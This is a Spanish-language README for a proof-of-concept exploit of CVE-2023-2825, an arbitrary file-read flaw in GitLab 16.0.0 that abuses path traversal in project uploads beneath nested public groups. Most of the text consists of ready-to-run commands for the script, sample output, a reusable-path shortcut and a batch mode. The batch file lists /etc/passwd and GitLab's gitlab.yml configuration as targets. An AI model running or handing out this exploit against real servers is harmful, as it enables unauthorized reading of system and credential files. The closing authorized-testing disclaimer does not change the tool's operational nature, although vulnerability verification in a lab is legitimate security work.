
PoC para CVE-2023-2825: lectura arbitraria de archivos automatizada en GitLab 16.0.0 mediante grupos públicos anidados, recorrido de rutas en subidas de proyectos, rutas de subida reutilizables y salida CLI limpia.
Prueba de concepto para CVE-2023-2825, una vulnerabilidad de lectura arbitraria de archivos en GitLab CE/EE 16.0.0.
El script inicia sesión con una cuenta válida de GitLab, crea la estructura requerida de grupos públicos anidados, crea un proyecto público, sube un archivo adjunto y utiliza el comportamiento vulnerable de path traversal en la subida de archivos para leer un archivo objetivo del servidor de GitLab.
También admite reutilizar una ruta de subida existente, por lo que no necesitas crear nuevos grupos y proyectos para cada lectura de archivo.
Python 3.8+
pip install -r requirements.txt
Paquetes de Python requeridos:
beautifulsoup4
requests
urllib3
Los valores entre corchetes angulares son marcadores de posición. Reemplázalos con tus propios valores y no incluyas los caracteres < ni >.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Ejemplo de salida:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
Después de una ejecución exitosa, el script imprime una ruta de subida reutilizable:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Úsala con --reuse-path para omitir el inicio de sesión, la creación de grupos, la creación del proyecto y la subida:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
También puedes pasar una URL completa y omitir --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Crea una lista de archivos:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Ejecuta:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Number of nested public groups to create. Default: 11
--depth <N>
Number of traversal segments to use. Default: 12
--reuse-path <PATH_OR_URL>
Existing project upload directory. Skips setup and directly reads files.
--only-final
Hide progress logs and print only file contents.
--no-color
Disable ANSI colors.
--debug
Print the generated traversal path for troubleshooting.
--reuse-path siempre que sea posible para evitar crear grupos y proyectos innecesarios.Esta PoC está destinada a pruebas de seguridad autorizadas, entornos de laboratorio y verificación de vulnerabilidades. No la utilices contra sistemas sin permiso explícito.